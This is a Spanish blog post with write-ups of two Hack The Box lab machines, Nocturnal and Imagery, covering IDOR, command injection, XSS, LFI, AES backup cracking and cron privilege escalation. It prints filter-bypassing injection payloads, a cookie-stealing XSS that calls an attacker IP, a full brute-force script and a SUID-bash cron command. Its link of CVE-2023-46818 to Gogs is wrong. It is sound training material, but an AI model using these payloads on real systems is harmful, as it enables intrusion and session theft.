RCE on

Nocturnal (Easy)

admin@synacklabs.github.io (SynAckLabs) — Sun, 25 Jan 2026 00:00:00 +0000

Resumen

La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario amanda que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a RCE (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como tobias. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante CVE-2023-46818 para obtener ejecución de código como root.

Escaneo y Reconocimiento

Inicio con un escaneo de puertos para identificar la superficie de ataque.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/

Enumeración Web (Puerto 80)

El servidor redirige a nocturnal.htb, por lo que añado el dominio a mi /etc/hosts

Al acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de IDOR (Insecure Direct Object Reference) o enumeración de directorios.

Realizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario amanda tiene archivos almacenados.

Descargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.

User: amanda
Pass: arHkG7HAI68X8s1J

Acceso Inicial

Panel de Administración y RCE

Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (dashboard.php), encuentro un archivo para realizar backups que solicita una contraseña.

En ese campo igual hay un RCE.

Descubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (%09) y saltos de línea (%0A)

/nbash/t-c/t"whoami" (interpretado como \n bash \t -c \t "whoami")

Exfiltración de Base de Datos

Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.

Payload utilizado:

%0Abash%09-c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A

La respuesta me devuelve los registros de la tabla users con hashes de contraseña

INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');

Logro obtener la contraseña en texto claro para el usuario tobias: slowmotionapocalypse.

Movimiento Lateral (SSH)

Con las credenciales tobias:slowmotionapocalypse, me conecto exitosamente mediante SSH.

Realizo una enumeración básica y confirmo que Tobias no tiene permisos de sudo. Sin embargo, al revisar los puertos internos abiertos (netstat o ss), detecto un servicio corriendo en el puerto 8080

Escalada de Privilegios

Tunneling y Enumeración Interna

Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.

Al acceder a localhost:8080, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con admin:slowmotionapocalypse.

Analizamos la versión.

Explotación de CVE-2023-46818

Identifico que la versión del servicio es vulnerable a CVE-2023-46818. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.

Utilizo un exploit público en Python para atacar la instancia:

link_preview

A pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como root.

Lo tenemos!

Imagery (Medium)

admin@synacklabs.github.io (SynAckLabs) — Sat, 24 Jan 2026 00:00:00 +0000

Resumen

Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un XSS en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un LFI para leer el código fuente (app.py), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de “crop” de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario mark y escalo privilegios abusando de una utilidad de gestión de Cron jobs mal configurada.

Escaneo y Reconocimiento

Comienzo con un escaneo de puertos estándar.

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63

Enumeración Web (Puerto 8000)

La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.

Bypass de Autenticación (Frontend)

Al investigar el proceso de login, intercepto la petición GET /auth que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor isAdmin: false.

Modifico la respuesta en vuelo (response manipulation) cambiando el valor a true.

Al no haber validación en el backend para la visualización del panel, logro acceder al Frontend de Administración.

Hay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.

Vemos que tenemos una pestaña de ManageGroups.

Acceso Inicial

XSS (Cross-Site Scripting)

En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.

Inyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.

El payload:

<img src=x onerror=fetch('http://10.10.14.53:8000/?pwned='+document.cookie)>

Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.

LFI (Local File Inclusion)

Con la sesión de administrador válida, accedo al panel real.

Encuentro una funcionalidad para descargar logs.

Puede ser una posible LFI.

Al probar payloads de Path Traversal, descubro que es efectivamente es vulnerable a LFI.

Intento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (Werkzeug) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.

Si buscamos ese fichero y config.py podremos ver la estructura entera del proyecto.

Apunto al archivo principal donde se guarda la base de datos de la aplicación: db.json.

Encontramos hashes de los usuarios.

Usuario: Testuser
Password: imbatman

RCE (Remote Code Execution)

Analizando el código fuente descargado (api_edit), encuentro la función crop para recortar imágenes. Esta función utiliza una llamada al sistema con shell=True, lo que permite inyección de comandos. El código indica que esta función solo está disponible para el rol Testuser.

Me logueo con las credenciales obtenidas (Testuser:imbatman) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando busybox y nc.

Consigo acceso al sistema como www-data.

Movimiento Lateral: Usuario Mark

Enumeración y Cracking de Backup

Emeramos y podemos ver un archivo extraño de backups en la carpeta /var/backup/web---.zip.aes.

Descargo el archivo. Al ser un archivo .aes, necesito fuerza bruta. Desarrollo un script en Python utilizando pyAesCrypt para intentar descifrarlo usando el diccionario rockyou.txt.

Script de Cracking (Resumen):
El script itera sobre una wordlist, intentando descifrar el archivo con pyAesCrypt.decryptFile. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.

#!/usr/bin/env python3
"""
aes_bruteforce.py
Modo 1: wordlist (recomendado para CTFs) --rockyou
Modo 2: brute (solo para longitudes muy pequeñas o pruebas)

Uso:
 python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
 python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345

Notas:
 - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
 - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
"""
import argparse
import pyAesCrypt
import tempfile
import os
import sys
from tqdm import tqdm
import itertools
import time

# Tamaño del buffer recomendado por pyAesCrypt
BUFFER_SIZE = 64 * 1024

def try_password(aesfile, password):
 """Intenta descifrar aesfile con password. Devuelve True si tiene éxito."""
 # crear temporal para escribir la salida descifrada
 tmpf = None
 try:
 tmp = tempfile.NamedTemporaryFile(delete=False)
 tmpf = tmp.name
 tmp.close()
 # pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta
 pyAesCrypt.decryptFile(aesfile, tmpf, password, BUFFER_SIZE)
 # si llegamos aquí: posiblemente contraseña correcta
 # comprobación simple: fichero resultado no vacío
 ok = os.path.getsize(tmpf) > 0
 return ok
 except Exception as e:
 # errores esperados: ValueError / IntegrityError etc. -> contraseña incorrecta
 #print("debug:", repr(e))
 return False
 finally:
 if tmpf and os.path.exists(tmpf):
 try:
 os.remove(tmpf)
 except:
 pass

def mode_wordlist(aesfile, wordlist_path, start_line=0, limit=None):
 # Abrimos en modo texto (latin-1) para preservar bytes no ASCII
 with open(wordlist_path, "r", encoding="latin-1", errors="ignore") as f:
 # si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,
 # usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.
 if start_line:
 for _ in range(start_line):
 if not f.readline():
 break

 pbar = None
 if limit is not None:
 # Si hay límite, mostramos un tqdm con total=limit
 pbar = tqdm(total=limit, desc="probando wordlist", unit="pwd")
 tried = 0
 while tried < limit:
 line = f.readline()
 if not line:
 break
 tried += 1
 pwd = line.strip()
 if try_password(aesfile, pwd):
 print(f"[+] ¡Contraseña encontrada! -> {pwd}")
 if pbar: pbar.close()
 return pwd
 pbar.update(1)
 if pbar: pbar.close()
 print("[-] No encontrada en este segmento.")
 return None
 else:
 # Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)
 pbar = tqdm(desc="probando wordlist", unit="pwd")
 for line in f:
 pwd = line.strip()
 if try_password(aesfile, pwd):
 print(f"[+] ¡Contraseña encontrada! -> {pwd}")
 pbar.close()
 return pwd
 pbar.update(1)
 pbar.close()
 print("[-] No encontrada en esta wordlist.")
 return None

def mode_brute(aesfile, charset, min_len=1, max_len=3, prefix=""):
 # ADVERTENCIA: espacio de búsqueda crece exponencialmente.
 print(f"[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)")
 for length in range(min_len, max_len + 1):
 total = len(charset) ** length
 print(f"Probando longitudes = {length} (combinaciones: {total})")
 # usamos itertools.product
 for tup in tqdm(itertools.product(charset, repeat=length), total=total):
 pwd = prefix + "".join(tup)
 if try_password(aesfile, pwd):
 print(f"[+] ¡Contraseña encontrada! -> {pwd}")
 return pwd
 print("[-] No encontrada en el rango solicitado.")
 return None

def main():
 ap = argparse.ArgumentParser(description="Brute/wordlist attack para .aes (pyAesCrypt)")
 ap.add_argument("--file", "-f", required=True, help="archivo .aes (input)")
 ap.add_argument("--wordlist", "-w", help="ruta a wordlist (ej. rockyou.txt)")
 ap.add_argument("--start-line", type=int, default=0, help="saltarse X líneas de la wordlist (útil para reanudar)")
 ap.add_argument("--limit", type=int, default=None, help="limitar número de intentos desde la wordlist")
 ap.add_argument("--brute", action="store_true", help="activar modo brute force (muy lento)")
 ap.add_argument("--charset", type=str, default="abcdefghijklmnopqrstuvwxyz0123456789", help="charset para brute")
 ap.add_argument("--min", type=int, default=1, help="min longitud brute")
 ap.add_argument("--max", type=int, default=3, help="max longitud brute")
 ap.add_argument("--prefix", type=str, default="", help="prefijo para brute (divide búsqueda)")
 args = ap.parse_args()

 if not os.path.exists(args.file):
 print("Archivo no encontrado:", args.file)
 sys.exit(1)

 # modo wordlist
 if args.wordlist:
 if not os.path.exists(args.wordlist):
 print("Wordlist no encontrada:", args.wordlist); sys.exit(1)
 print("[*] Modo wordlist activo. Ten paciencia.")
 found = mode_wordlist(args.file, args.wordlist, start_line=args.start_line, limit=args.limit)
 if found:
 return

 # modo brute
 if args.brute:
 found = mode_brute(args.file, args.charset, min_len=args.min, max_len=args.max, prefix=args.prefix)
 if found:
 return

 print("[*] Finished. No password found with the given inputs.")

if __name__ == "__main__":
 main()

Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario mark.

Crackeo el hash de Mark:

Hash: (obtenido del backup)
Contraseña: supersmash

Me conecto por SSH y obtenemos la user flag.

Escalada de Privilegios

Abuso de Cron Jobs

Como usuario mark, enumero el sistema

y encuentro una aplicación local (charcol) que permite gestionar backups encriptados.

Permite gestionar tareas programadas (Cron Jobs).

Esta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.

En lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a /bin/bash.

Comando inyectado en el Cron:

chmod u+s /bin/bash

Espero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:

Imagery has been Pwned!